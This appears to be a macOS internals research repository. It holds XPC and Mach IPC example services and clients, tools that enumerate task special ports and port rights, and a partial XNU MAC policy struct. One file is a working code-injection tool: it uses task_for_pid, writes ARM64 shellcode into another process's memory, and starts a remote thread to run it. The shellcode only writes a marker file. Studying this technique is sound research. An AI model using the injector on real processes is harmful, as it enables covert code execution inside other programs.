FRAMEWORKS = -framework Foundation
# Binary names and paths
SERVICE_NAME = crimson_xpc_service
CLIENT_NAME = crimson_xpc_client
INSTALL_PATH = /usr/local/bin
LAUNCHD_PATH = /Library/LaunchDaemons
PLIST_NAME = com.crimson.xpc.message_service.plist
# Source files
SERVICE_SRC = crimson_xpc_service.c
CLIENT_SRC = crimson_xpc_client.c
# Default target builds both executables
all: $(SERVICE_NAME) $(CLIENT_NAME)
# Build the XPC service
$(SERVICE_NAME): $(SERVICE_SRC)
$(CC) $(CFLAGS) -o $@ $< $(FRAMEWORKS)
# Build the XPC client
$(CLIENT_NAME): $(CLIENT_SRC)
$(CC) $(CFLAGS) -o $@ $< $(FRAMEWORKS)
# Install everything (requires sudo)
install: all
@echo "Installing XPC service and client..."
sudo cp $(SERVICE_NAME) $(INSTALL_PATH)/
sudo cp $(PLIST_NAME) $(LAUNCHD_PATH)/
sudo launchctl unload $(LAUNCHD_PATH)/$(PLIST_NAME) 2>/dev/null || true
sudo launchctl load $(LAUNCHD_PATH)/$(PLIST_NAME)
@echo "Installation complete"
# Clean up compiled files
clean:
rm -f $(SERVICE_NAME) $(CLIENT_NAME)
# Uninstall everything (requires sudo)
uninstall:
@echo "Uninstalling XPC service and client..."
sudo launchctl unload $(LAUNCHD_PATH)/$(PLIST_NAME) 2>/dev/null || true
sudo rm -f $(INSTALL_PATH)/$(SERVICE_NAME)
sudo rm -f $(LAUNCHD_PATH)/$(PLIST_NAME)
@echo "Uninstallation complete"
# Help target to show available commands
help:
@echo "Available targets:"
@echo " make all - Build both service and client"
@echo " make install - Install and load the service (requires sudo)"
@echo " make clean - Remove compiled files"
@echo " make uninstall - Remove installed files (requires sudo)"
# Declare our phony targets (targets that don't create files)
.PHONY: all install clean uninstall help

View File

@@ -0,0 +1,17 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.crimson.xpc.message_service</string>
<key>Program</key>
<string>/usr/local/bin/crimson_xpc_service</string>
<key>MachServices</key>
<dict>
<key>com.crimson.xpc.message_service</key>
<true/>
</dict>
<key>KeepAlive</key>
<false/>
</dict>
</plist>

View File

@@ -0,0 +1,62 @@
// crimson_xpc_client.c
// This client demonstrates how to create and manage an XPC connection to communicate
// with a LaunchDaemon or LaunchAgent service
#include <xpc/xpc.h> // XPC framework for secure inter-process communication
#include <dispatch/dispatch.h> // GCD for asynchronous operations and event handling
#include <stdio.h> // Standard I/O for error reporting and status messages
#include <stdlib.h> // Standard library for program termination functions
int main(void) {
// Initialize an XPC connection to a Mach service
// The service name must match the label in the service's plist file
// XPC_CONNECTION_MACH_SERVICE_PRIVILEGED indicates this client expects
// to connect to a privileged service (typically a LaunchDaemon)
xpc_connection_t conn = xpc_connection_create_mach_service(
"com.crimson.xpc.message_service",
dispatch_get_main_queue(), // Main queue handles all connection events
XPC_CONNECTION_MACH_SERVICE_PRIVILEGED
);
// Configure an event handler for connection-level events
// This handler processes XPC_TYPE_ERROR events, which occur on
// connection failures, service termination, or invalid messages
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
if (xpc_get_type(event) == XPC_TYPE_ERROR) {
fprintf(stderr, "Connection error: %s\n",
xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
}
});
// Activate the connection to begin processing events
// Must be called before any messages can be sent
xpc_connection_resume(conn);
// Create an XPC dictionary to encapsulate the message data
// XPC dictionaries are the primary container type for XPC messages
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(message, "message_data", "Hello from Crimson!");
// Send message and handle response asynchronously
// The reply block executes when the service responds or on timeout
xpc_connection_send_message_with_reply(conn, message,
dispatch_get_main_queue(), ^(xpc_object_t reply) {
if (xpc_get_type(reply) == XPC_TYPE_DICTIONARY) {
printf("Reply status: %s\n",
xpc_dictionary_get_string(reply, "status"));
}
// Schedule program termination after reply processing
// Using dispatch_async ensures clean shutdown
dispatch_async(dispatch_get_main_queue(), ^{
exit(0);
});
});
// Decrement the message object's reference count
// XPC uses manual reference counting for memory management
xpc_release(message);
// Run the main dispatch loop to process asynchronous events
// This call never returns - program exits via the reply handler
dispatch_main();
}

View File

@@ -0,0 +1,57 @@
// crimson_xpc_service.c
// This implements an XPC service that can be launched as a LaunchDaemon or LaunchAgent
// It demonstrates basic XPC message handling and connection management patterns
#include <xpc/xpc.h> // XPC for inter-process communication
#include <dispatch/dispatch.h> // GCD for asynchronous event handling
#include <stdio.h> // Standard I/O for logging messages
int main(void) {
// Initialize the XPC service listener
// XPC_CONNECTION_MACH_SERVICE_LISTENER indicates this process will accept incoming connections
// The service name must match both the client and the service's launchd plist MachServices entry
xpc_connection_t service = xpc_connection_create_mach_service(
"com.crimson.xpc.message_service",
dispatch_get_main_queue(), // Main queue handles all service events
XPC_CONNECTION_MACH_SERVICE_LISTENER
);
// Set up handler for new client connections
// This outer handler processes connection establishment events
// Each new client connection creates a new peer object
xpc_connection_set_event_handler(service, ^(xpc_object_t peer) {
// Security check: Validate connection object type
// Early return prevents processing of invalid connection attempts
if (xpc_get_type(peer) != XPC_TYPE_CONNECTION) return;
// Configure message handler for this specific client connection
// Each client gets its own message handler to maintain separation
xpc_connection_set_event_handler(peer, ^(xpc_object_t message) {
// Only process dictionary-type messages for protocol compliance
if (xpc_get_type(message) == XPC_TYPE_DICTIONARY) {
// Extract message data with bounds checking via len parameter
// This prevents buffer overflow vulnerabilities
size_t len;
const void* data = xpc_dictionary_get_data(message, "message_data", &len);
if (data) printf("Received: %.*s\n", (int)len, (char*)data);
// Create and send reply to the client
// xpc_dictionary_create_reply maintains message context for proper routing
xpc_object_t reply = xpc_dictionary_create_reply(message);
xpc_dictionary_set_string(reply, "status", "received");
xpc_connection_send_message(peer, reply);
xpc_release(reply); // Clean up reply object to prevent memory leaks
}
});
// Activate this client's connection to begin processing its messages
xpc_connection_resume(peer);
});
// Activate the service listener to begin accepting connections
xpc_connection_resume(service);
// Run the main dispatch loop
// This service will continue running until terminated by launchd
dispatch_main();
}

View File

@@ -0,0 +1,26 @@
# Makefile for Mach IPC example with MIG
# Compiler settings
CC = gcc
CFLAGS = -Wall -Werror
# Default target
all: server client
# Generate MIG files from definition
mig_files: message.defs
mig message.defs
# Build server with MIG-generated files
server: mig_files server.c messageServer.c
$(CC) $(CFLAGS) server.c messageServer.c -o server
# Build client with MIG-generated files
client: mig_files client.c messageUser.c
$(CC) $(CFLAGS) client.c messageUser.c -o client
# Clean generated files and executables
clean:
rm -f server client message.h messageUser.c messageServer.c
.PHONY: all clean mig_files

View File

@@ -0,0 +1,29 @@
// client.c - MIG version
#include <stdio.h>
#include <string.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
#include "message.h" // MIG-generated header
int main(int argc, char *argv[]) {
// Validate command line arguments
if (argc != 2) {
printf("Usage: %s <message>\n", argv[0]);
return 1;
}
// Get bootstrap port for service lookup
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port,
"com.crimson.message_service",
&port);
if (kr != KERN_SUCCESS) {
printf("Service not found\n");
return 1;
}
// Use MIG-generated function to send message
// This handles all the message structure creation internally
USER_send_message(port, (pointer_t)argv[1], strlen(argv[1]));
return 0;
}

View File

@@ -0,0 +1,17 @@
// message.defs - MIG Interface Definition
subsystem message 400; // Define subsystem name and ID
// Prefix for generated client and server function names
userprefix USER_;
serverprefix SERVER_;
// Include necessary Mach type definitions
#include <mach/mach_types.defs>
#include <mach/std_types.defs>
// Define our message passing routine
// 'simpleroutine' means one-way communication (no reply expected)
// pointer_t is used for variable-length data
simpleroutine send_message(
server_port : mach_port_t; // Port to send message to
message : pointer_t); // Message data

View File

@@ -0,0 +1,39 @@
// server.c - MIG version
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
#include "message.h"
// Function prototype for MIG-generated server function
extern boolean_t message_server(
mach_msg_header_t *InHeadP,
mach_msg_header_t *OutHeadP);
// Implementation of our message handling function
// This is called by MIG-generated code when a message arrives
kern_return_t SERVER_send_message(
mach_port_t server_port,
vm_offset_t message,
mach_msg_type_number_t messageCnt)
{
// Simply print the received message
printf("Received message: %s\n", (char*)message);
return KERN_SUCCESS;
}
int main() {
mach_port_t port;
kern_return_t kr;
// Register our service with the bootstrap server
kr = bootstrap_check_in(bootstrap_port, "com.crimson.message_service", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_check_in() failed with code 0x%x\n", kr);
return 1;
}
// Start message handling loop using MIG-generated server function
// 4096 is the maximum message size
mach_msg_server(message_server, 4096, port, MACH_MSG_TIMEOUT_NONE);
return 0;
}

View File

@@ -0,0 +1,22 @@
# Makefile for Mach IPC example without MIG
# Compiler settings
CC = gcc
CFLAGS = -Wall -Werror
# Default target
all: server client
# Build server
server: server.c
$(CC) $(CFLAGS) server.c -o server
# Build client
client: client.c
$(CC) $(CFLAGS) client.c -o client
# Clean generated files and executables
clean:
rm -f server client
.PHONY: all clean

View File

@@ -0,0 +1,77 @@
// client.c
#include <stdio.h>
#include <string.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
/*
* Message structure for IPC communication
* Consists of two parts:
* 1. mach_msg_header_t h - Standard Mach message header required for all IPC
* 2. char d[1024] - Data buffer for the actual message content
*/
typedef struct {
mach_msg_header_t h; // Header must be first member
char d[1024]; // Data buffer follows immediately after header
} msg_t;
int main(int argc, char *argv[]) {
// Validate command line arguments
if (argc != 2) {
printf("Usage: %s <message>\n", argv[0]);
return 1;
}
// Step 1: Get the bootstrap port
// Bootstrap server is the central name server in Mach IPC
mach_port_t bootstrap_port;
task_get_special_port(mach_task_self(),
TASK_BOOTSTRAP_PORT,
&bootstrap_port);
// Step 2: Look up the service port using bootstrap server
// This finds our server process using the registered name
mach_port_t service_port;
kern_return_t kr = bootstrap_look_up(bootstrap_port,
"com.crimson.message_service",
&service_port);
if (kr != KERN_SUCCESS) {
printf("Service not found\n");
return 1;
}
// Step 3: Prepare the message structure
// Initialize message structure to zero
msg_t message = {0};
// Configure message header
message.h.msgh_bits = MACH_MSGH_BITS_REMOTE(MACH_MSG_TYPE_COPY_SEND); // Set message type to copy-send
message.h.msgh_size = sizeof(msg_t); // Total size of message struct
message.h.msgh_remote_port = service_port; // Destination port
message.h.msgh_local_port = MACH_PORT_NULL; // No reply port needed
message.h.msgh_id = 0; // Message ID (unused in this case)
// Copy the user's message into data buffer
// Using strncpy to prevent buffer overflow
strncpy(message.d, argv[1], sizeof(message.d) - 1);
message.d[sizeof(message.d) - 1] = '\0'; // Ensure null termination
// Step 4: Send the message
kr = mach_msg(
&message.h, // Message header pointer
MACH_SEND_MSG, // Send-only operation
sizeof(msg_t), // Size of entire message
0, // Maximum receive size (unused for send)
MACH_PORT_NULL, // Destination port (unused for send)
MACH_MSG_TIMEOUT_NONE,// No timeout
MACH_PORT_NULL // No notify port
);
// Step 5: Check for errors and return status
if (kr != KERN_SUCCESS) {
printf("Failed to send message\n");
return 1;
}
return 0;
}

View File

@@ -0,0 +1,55 @@
// server.c
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Step 1: Get the bootstrap port
mach_port_t bootstrap_port;
task_get_special_port(mach_task_self(),
TASK_BOOTSTRAP_PORT,
&bootstrap_port);
// Step 2: Register our service with the bootstrap server
// This allows clients to find us using the service name
mach_port_t service_port;
kern_return_t kr = bootstrap_check_in(bootstrap_port,
"com.crimson.message_service",
&service_port);
if (kr != KERN_SUCCESS) {
printf("Failed to register service\n");
return 1;
}
printf("Server running...\n");
// Allocate buffer for receiving messages
// Buffer must be large enough for header + maximum message size
char buffer[2048];
mach_msg_header_t *msg = (mach_msg_header_t*)buffer;
// Main message receive loop
while (1) {
// Receive message
kr = mach_msg(
msg, // Buffer to receive message
MACH_RCV_MSG, // Receive-only operation
0, // Send size (unused for receive)
sizeof(buffer), // Maximum receive size
service_port, // Port to receive on
MACH_MSG_TIMEOUT_NONE, // No timeout
MACH_PORT_NULL // No notify port
);
// Process received message
if (kr == KERN_SUCCESS) {
// Message data follows immediately after header
char *data = (char*)(msg + 1);
printf("Received: %s\n", data);
} else {
printf("Error receiving message\n");
}
}
return 0; // Never reached in this example
}

View File

@@ -0,0 +1,100 @@
#include <mach/mach.h>
#include <mach/mach_init.h>
#include <mach/mach_error.h>
#include <mach/task_special_ports.h>
#include <stdio.h>
#include <stdlib.h>
const char* get_special_port_name(int port_id) {
switch (port_id) {
case TASK_KERNEL_PORT:
return "TASK_KERNEL_PORT";
case TASK_HOST_PORT:
return "TASK_HOST_PORT";
case TASK_NAME_PORT:
return "TASK_NAME_PORT";
case TASK_BOOTSTRAP_PORT:
return "TASK_BOOTSTRAP_PORT";
case TASK_INSPECT_PORT:
return "TASK_INSPECT_PORT";
case TASK_READ_PORT:
return "TASK_READ_PORT";
case TASK_ACCESS_PORT:
return "TASK_ACCESS_PORT";
case TASK_DEBUG_CONTROL_PORT:
return "TASK_DEBUG_CONTROL_PORT";
case TASK_RESOURCE_NOTIFY_PORT:
return "TASK_RESOURCE_NOTIFY_PORT";
default:
return "UNKNOWN_PORT";
}
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <pid>\n", argv[0]);
return 1;
}
pid_t pid = atoi(argv[1]);
task_t task;
kern_return_t kr = task_for_pid(mach_task_self(), pid, &task);
if (kr != KERN_SUCCESS) {
printf("Failed to get task for pid %d: %s (0x%x)\n",
pid, mach_error_string(kr), kr);
return 1;
}
int special_ports[] = {
TASK_KERNEL_PORT,
TASK_HOST_PORT,
TASK_NAME_PORT,
TASK_BOOTSTRAP_PORT,
TASK_INSPECT_PORT,
TASK_READ_PORT,
TASK_ACCESS_PORT,
TASK_DEBUG_CONTROL_PORT,
TASK_RESOURCE_NOTIFY_PORT
};
int num_ports = sizeof(special_ports) / sizeof(special_ports[0]);
printf("Listing Special Ports for PID %d (1 to %d):\n", pid, TASK_MAX_SPECIAL_PORT);
printf("================================\n");
for (int i = 0; i < num_ports; i++) {
mach_port_t special_port;
kr = task_get_special_port(task, special_ports[i], &special_port);
printf("Port %d (%s):\n", special_ports[i], get_special_port_name(special_ports[i]));
printf(" Status: %s\n", kr == KERN_SUCCESS ? "SUCCESS" : "FAILED");
if (kr != KERN_SUCCESS) {
printf(" Error: %s (0x%x)\n", mach_error_string(kr), kr);
} else {
printf(" Port number: 0x%x\n", special_port);
mach_port_type_t port_type;
kr = mach_port_type(task, special_port, &port_type);
if (kr == KERN_SUCCESS) {
printf(" Rights: ");
if (port_type & MACH_PORT_TYPE_SEND)
printf("SEND ");
if (port_type & MACH_PORT_TYPE_RECEIVE)
printf("RECEIVE ");
if (port_type & MACH_PORT_TYPE_SEND_ONCE)
printf("SEND_ONCE ");
if (port_type & MACH_PORT_TYPE_PORT_SET)
printf("PORT_SET ");
if (port_type & MACH_PORT_TYPE_DEAD_NAME)
printf("DEAD_NAME ");
printf("\n");
}
}
printf("\n");
}
mach_port_deallocate(mach_task_self(), task);
return 0;
}

View File

@@ -0,0 +1,87 @@
// Ports from: https://github.com/apple-oss-distributions/xnu/blob/8d741a5de7ff4191bf97d57b9f54c2f6d4a15585/osfmk/mach/task_special_ports.h#L70-L98
// clang -o enum_special_port_rights enum_special_port_rights.c
#include <mach/mach.h>
#include <mach/mach_init.h>
#include <mach/mach_error.h>
#include <mach/task_special_ports.h>
#include <stdio.h>
const char* get_special_port_name(int port_id) {
switch (port_id) {
case TASK_KERNEL_PORT:
return "TASK_KERNEL_PORT";
case TASK_HOST_PORT:
return "TASK_HOST_PORT";
case TASK_NAME_PORT:
return "TASK_NAME_PORT";
case TASK_BOOTSTRAP_PORT:
return "TASK_BOOTSTRAP_PORT";
case TASK_INSPECT_PORT:
return "TASK_INSPECT_PORT";
case TASK_READ_PORT:
return "TASK_READ_PORT";
case TASK_ACCESS_PORT:
return "TASK_ACCESS_PORT";
case TASK_DEBUG_CONTROL_PORT:
return "TASK_DEBUG_CONTROL_PORT";
case TASK_RESOURCE_NOTIFY_PORT:
return "TASK_RESOURCE_NOTIFY_PORT";
default:
return "UNKNOWN_PORT";
}
}
int main() {
task_t task = mach_task_self();
int special_ports[] = {
TASK_KERNEL_PORT,
TASK_HOST_PORT,
TASK_NAME_PORT,
TASK_BOOTSTRAP_PORT,
TASK_INSPECT_PORT,
TASK_READ_PORT,
TASK_ACCESS_PORT,
TASK_DEBUG_CONTROL_PORT,
TASK_RESOURCE_NOTIFY_PORT
};
int num_ports = sizeof(special_ports) / sizeof(special_ports[0]);
printf("Listing All Special Ports (1 to %d):\n", TASK_MAX_SPECIAL_PORT);
printf("================================\n");
for (int i = 0; i < num_ports; i++) {
mach_port_t special_port;
kern_return_t kr = task_get_special_port(task, special_ports[i], &special_port);
printf("Port %d (%s):\n", special_ports[i], get_special_port_name(special_ports[i]));
printf(" Status: %s\n", kr == KERN_SUCCESS ? "SUCCESS" : "FAILED");
if (kr != KERN_SUCCESS) {
printf(" Error: %s (0x%x)\n", mach_error_string(kr), kr);
} else {
printf(" Port number: 0x%x\n", special_port);
mach_port_type_t port_type;
kr = mach_port_type(task, special_port, &port_type);
if (kr == KERN_SUCCESS) {
printf(" Rights: ");
if (port_type & MACH_PORT_TYPE_SEND)
printf("SEND ");
if (port_type & MACH_PORT_TYPE_RECEIVE)
printf("RECEIVE ");
if (port_type & MACH_PORT_TYPE_SEND_ONCE)
printf("SEND_ONCE ");
if (port_type & MACH_PORT_TYPE_PORT_SET)
printf("PORT_SET ");
if (port_type & MACH_PORT_TYPE_DEAD_NAME)
printf("DEAD_NAME ");
printf("\n");
}
}
printf("\n");
}
return 0;
}

View File

@@ -0,0 +1,63 @@
#include <stdio.h>
#include <mach/mach.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <pid>\n", argv[0]);
return 1;
}
pid_t target_pid = atoi(argv[1]);
kern_return_t kr;
mach_port_t task;
kr = task_for_pid(mach_task_self(), target_pid, &task);
if (kr != KERN_SUCCESS) {
printf("Failed to get task for pid %d: %s\n", target_pid, mach_error_string(kr));
return 1;
}
ipc_info_name_array_t table_info;
mach_msg_type_number_t table_infoCnt;
ipc_info_tree_name_array_t tree_info;
mach_msg_type_number_t tree_infoCnt;
ipc_info_space_t space_info;
kr = mach_port_space_info(task, &space_info, &table_info, &table_infoCnt, &tree_info, &tree_infoCnt);
if (kr != KERN_SUCCESS) {
printf("Failed to get port space info: %s\n", mach_error_string(kr));
return 1;
}
printf("IPC Space Info:\n");
printf("Table size: %d, Next: %d, Active ports: %d\n\n",
space_info.iis_table_size, space_info.iis_table_next, table_infoCnt);
printf("%-6s | %-6s | %-20s | %-4s | %-10s\n",
"Index", "Name", "Rights", "Refs", "Generation");
printf("-------------------------------------------------------------------\n");
for (int i = 0; i < table_infoCnt; i++) {
char rights[32] = "";
if (table_info[i].iin_type & MACH_PORT_TYPE_RECEIVE) strcat(rights, "RECV ");
if (table_info[i].iin_type & MACH_PORT_TYPE_SEND) strcat(rights, "SEND ");
if (table_info[i].iin_type & MACH_PORT_TYPE_SEND_ONCE) strcat(rights, "ONCE ");
if (table_info[i].iin_type & MACH_PORT_TYPE_PORT_SET) strcat(rights, "SET ");
if (table_info[i].iin_type & MACH_PORT_TYPE_DEAD_NAME) strcat(rights, "DEAD ");
if (rights[0] == '\0') strcpy(rights, "IO_NULL");
printf("%-6d | 0x%-4x | %-20s | %-4d | %-10d\n",
i,
table_info[i].iin_name,
rights,
table_info[i].iin_urefs,
MACH_PORT_INDEX(table_info[i].iin_name) >> 24);
}
mach_port_deallocate(mach_task_self(), task);
vm_deallocate(mach_task_self(), (vm_address_t)table_info, table_infoCnt * sizeof(*table_info));
vm_deallocate(mach_task_self(), (vm_address_t)tree_info, tree_infoCnt * sizeof(*tree_info));
return 0;
}

View File

@@ -0,0 +1,52 @@
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <service_name>\n", argv[0]);
return 1;
}
const char *service_name = argv[1];
mach_port_t bootstrap_port, service_port;
kern_return_t kr;
// Get the bootstrap port
kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
if (kr != KERN_SUCCESS) {
printf("Failed to get bootstrap port: %s\n", mach_error_string(kr));
return 1;
}
// Look up the service
kr = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if (kr != KERN_SUCCESS) {
printf("Service '%s' not found: %s\n", service_name, mach_error_string(kr));
return 1;
}
// Get port rights information
mach_port_type_t type;
kr = mach_port_type(mach_task_self(), service_port, &type);
if (kr != KERN_SUCCESS) {
printf("Failed to get port type: %s\n", mach_error_string(kr));
return 1;
}
printf("Service: %s\n", service_name);
printf("Port: 0x%x\n", service_port);
printf("Rights: ");
if (type & MACH_PORT_TYPE_RECEIVE) printf("RECV ");
if (type & MACH_PORT_TYPE_SEND) printf("SEND ");
if (type & MACH_PORT_TYPE_SEND_ONCE) printf("ONCE ");
if (type & MACH_PORT_TYPE_PORT_SET) printf("SET ");
if (type & MACH_PORT_TYPE_DEAD_NAME) printf("DEAD ");
printf("\n");
// Cleanup
mach_port_deallocate(mach_task_self(), service_port);
mach_port_deallocate(mach_task_self(), bootstrap_port);
return 0;
}

View File

@@ -0,0 +1,205 @@
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h> // Core Mach kernel interfaces
#include <mach/mach_vm.h> // Virtual memory management
#include <mach/arm/thread_status.h> // ARM64 thread state definitions
#include <unistd.h>
#include <pthread.h>
/*
* This is our shellcode that will run in the target process.
* The __attribute__((naked)) tells the compiler not to add any function prologue/epilogue
* code - we want complete control over the assembly.
*
* What this shellcode does:
* 1. Creates a file at /tmp/research_success
* 2. Writes "pwn" to it
* 3. Exits cleanly
*/
__attribute__((naked)) void shellcode() {
__asm__(
// Set up our stack frame - allocate 32 bytes
"sub sp, sp, #0x20\n"
// Open a file
// The adr instruction loads the address of our filename relative to the current position
"adr x0, 1f\n" // Load filename into x0 (first argument)
"mov x1, #0x601\n" // Flags: O_CREAT|O_WRONLY|O_TRUNC
"mov x2, #0666\n" // File permissions: rw-rw-rw-
"mov x16, #5\n" // System call number for open()
"svc #0x80\n" // Make the system call
// Write to the file
"mov x19, x0\n" // Save file descriptor for later
"adr x1, 2f\n" // Load address of content to write
"mov x2, #4\n" // Length of content (including newline)
"mov x16, #4\n" // System call number for write()
"svc #0x80\n"
// Exit cleanly
"mov x0, #0\n" // Exit code 0
"mov x16, #1\n" // System call number for exit()
"svc #0x80\n"
// Data section
".align 4\n" // Align data to 4-byte boundary
"1: .asciz \"/tmp/research_success\"\n" // Null-terminated filename
"2: .asciz \"pwn\\n\"\n" // Content to write
);
}
/*
* Validates that we have a working task port
* A task port is like a "handle" to another process in macOS,
* giving us permission to interact with it
*/
static boolean_t verify_task_port(mach_port_t task) {
task_flavor_t flavor = TASK_BASIC_INFO;
task_basic_info_data_t info;
mach_msg_type_number_t count = TASK_BASIC_INFO_COUNT;
// Try to get basic info about the task - if this succeeds,
// we know we have a valid task port
kern_return_t kr = task_info(task, flavor, (task_info_t)&info, &count);
return (kr == KERN_SUCCESS);
}
/*
* This function handles the memory operations needed to inject our code
* into the target process. It:
* 1. Allocates memory in the target process
* 2. Copies our shellcode into that memory
* 3. Sets the memory permissions so the code can execute
*/
kern_return_t map_memory(mach_port_t task, mach_vm_address_t *addr, void *data, size_t size) {
kern_return_t kr;
// First, make sure our task port is valid
if (!verify_task_port(task)) {
printf("Invalid task port provided\n");
return KERN_INVALID_TASK;
}
// Memory pages must be page-aligned in macOS
// This rounds up our allocation size to the next page boundary
vm_size_t page_size = vm_page_size;
size_t aligned_size = (size + page_size - 1) & ~(page_size - 1);
// Allocate memory in the target process
// VM_FLAGS_ANYWHERE lets the kernel choose a suitable address
kr = mach_vm_allocate(task, addr, aligned_size, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) {
printf("Memory allocation failed: %d (0x%x)\n", kr, kr);
printf("Attempted to allocate %zu bytes\n", aligned_size);
return kr;
}
// Copy our shellcode into the allocated memory
kr = mach_vm_write(task, *addr, (vm_offset_t)data, size);
if (kr != KERN_SUCCESS) {
printf("Memory write failed: %d (0x%x)\n", kr, kr);
mach_vm_deallocate(task, *addr, aligned_size);
return kr;
}
// Set the memory permissions to allow execution
// We need both read and execute permissions for the code to run
kr = mach_vm_protect(task, *addr, aligned_size, FALSE,
VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) {
printf("Memory protection change failed: %d (0x%x)\n", kr, kr);
mach_vm_deallocate(task, *addr, aligned_size);
return kr;
}
return KERN_SUCCESS;
}
/*
* This is the main injection function that orchestrates the whole process:
* 1. Verifies we can work with the target process
* 2. Maps our shellcode into it
* 3. Creates a new thread to run our code
*/
kern_return_t inject_code(mach_port_t task) {
kern_return_t kr;
void *shellcode_ptr = (void*)shellcode;
size_t shellcode_size = 256; // Space for our shellcode and any data it needs
mach_vm_address_t remote_code = 0;
// Verify we can work with this task
task_basic_info_data_t info;
mach_msg_type_number_t count = TASK_BASIC_INFO_COUNT;
kr = task_info(task, TASK_BASIC_INFO, (task_info_t)&info, &count);
if (kr != KERN_SUCCESS) {
printf("Failed to get task info: %d (0x%x)\n", kr, kr);
return kr;
}
// Copy our shellcode into the target process
kr = map_memory(task, &remote_code, shellcode_ptr, shellcode_size);
if (kr != KERN_SUCCESS) {
return kr;
}
// Set up the initial register state for our new thread
arm_thread_state64_t thread_state = {0};
thread_state.__pc = remote_code; // Program counter - where to start executing
thread_state.__sp = (remote_code + 0x1000) & ~0xFULL; // Stack pointer - aligned to 16 bytes
thread_state.__x[29] = thread_state.__sp; // Frame pointer
// Create and start a new thread in the target process
thread_act_t new_thread;
kr = thread_create_running(task,
ARM_THREAD_STATE64,
(thread_state_t)&thread_state,
ARM_THREAD_STATE64_COUNT,
&new_thread);
if (kr != KERN_SUCCESS) {
printf("Thread creation failed: %d (0x%x)\n", kr, kr);
mach_vm_deallocate(task, remote_code, shellcode_size);
return kr;
}
return KERN_SUCCESS;
}
/*
* Main entry point - takes a process ID as argument
* This is where we:
* 1. Get access to the target process
* 2. Inject and run our code in it
* 3. Report success or failure
*/
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <pid>\n", argv[0]);
return 1;
}
pid_t target_pid = atoi(argv[1]);
// Get a task port for the target process
// This is our "handle" to interact with it
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
if (kr != KERN_SUCCESS) {
printf("Failed to get task for pid %d: %d (0x%x)\n", target_pid, kr, kr);
return 1;
}
printf("Successfully got task port: %d\n", task);
// Do the injection
kr = inject_code(task);
if (kr != KERN_SUCCESS) {
printf("Injection failed with error: %d (0x%x)\n", kr, kr);
return 1;
}
printf("Injection successful\n");
printf("Check /tmp/research_success to verify execution\n");
return 0;
}

View File

@@ -0,0 +1,8 @@
#include <unistd.h>
int main() {
const char *message = "Hello, Kernelspace!\n";
write(1, message, 20); // Direct system call to write to stdout
return 0;
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 404 KiB

337
X. NU/mac/mac_policy_ops Normal file
View File

@@ -0,0 +1,337 @@
struct mac_policy_ops {
void* mpo_audit_check_postselect;
void* mpo_audit_check_preselect;
void* mpo_reserved01;
void* mpo_reserved02;
void* mpo_reserved03;
void* mpo_reserved04;
void* mpo_cred_check_label_update_execve;
void* mpo_cred_check_label_update;
void* mpo_cred_check_visible;
void* mpo_cred_label_associate_fork;
void* mpo_cred_label_associate_kernel;
void* mpo_cred_label_associate;
void* mpo_cred_label_associate_user;
void* mpo_cred_label_destroy;
void* mpo_cred_label_externalize_audit;
void* mpo_cred_label_externalize;
void* mpo_cred_label_init;
void* mpo_cred_label_internalize;
void* mpo_cred_label_update_execve;
void* mpo_cred_label_update;
void* mpo_devfs_label_associate_device;
void* mpo_devfs_label_associate_directory;
void* mpo_devfs_label_copy;
void* mpo_devfs_label_destroy;
void* mpo_devfs_label_init;
void* mpo_devfs_label_update;
void* mpo_file_check_change_offset;
void* mpo_file_check_create;
void* mpo_file_check_dup;
void* mpo_file_check_fcntl;
void* mpo_file_check_get_offset;
void* mpo_file_check_get;
void* mpo_file_check_inherit;
void* mpo_file_check_ioctl;
void* mpo_file_check_lock;
void* mpo_file_check_mmap_downgrade;
void* mpo_file_check_mmap;
void* mpo_file_check_receive;
void* mpo_file_check_set;
void* mpo_file_label_init; /* deprecated not called anymore */
void* mpo_file_label_destroy; /* deprecated not called anymore */
void* mpo_file_label_associate; /* deprecated not called anymore */
void* mpo_file_notify_close;
void* mpo_proc_check_launch_constraints;
void* mpo_proc_notify_service_port_derive;
void* mpo_proc_check_set_task_exception_port;
void* mpo_proc_check_set_thread_exception_port;
void* mpo_proc_check_delegated_signal;
void* mpo_reserved08;
void* mpo_reserved09;
void* mpo_reserved10;
void* mpo_reserved11;
void* mpo_reserved12;
void* mpo_reserved13;
void* mpo_reserved14;
void* mpo_reserved15;
void* mpo_reserved16;
void* mpo_reserved17;
void* mpo_reserved18;
void* mpo_reserved19;
void* mpo_reserved20;
void* mpo_reserved21;
void* mpo_necp_check_open;
void* mpo_necp_check_client_action;
void* mpo_file_check_library_validation;
void* mpo_vnode_notify_setacl;
void* mpo_vnode_notify_setattrlist;
void* mpo_vnode_notify_setextattr;
void* mpo_vnode_notify_setflags;
void* mpo_vnode_notify_setmode;
void* mpo_vnode_notify_setowner;
void* mpo_vnode_notify_setutimes;
void* mpo_vnode_notify_truncate;
void* mpo_vnode_check_getattrlistbulk;
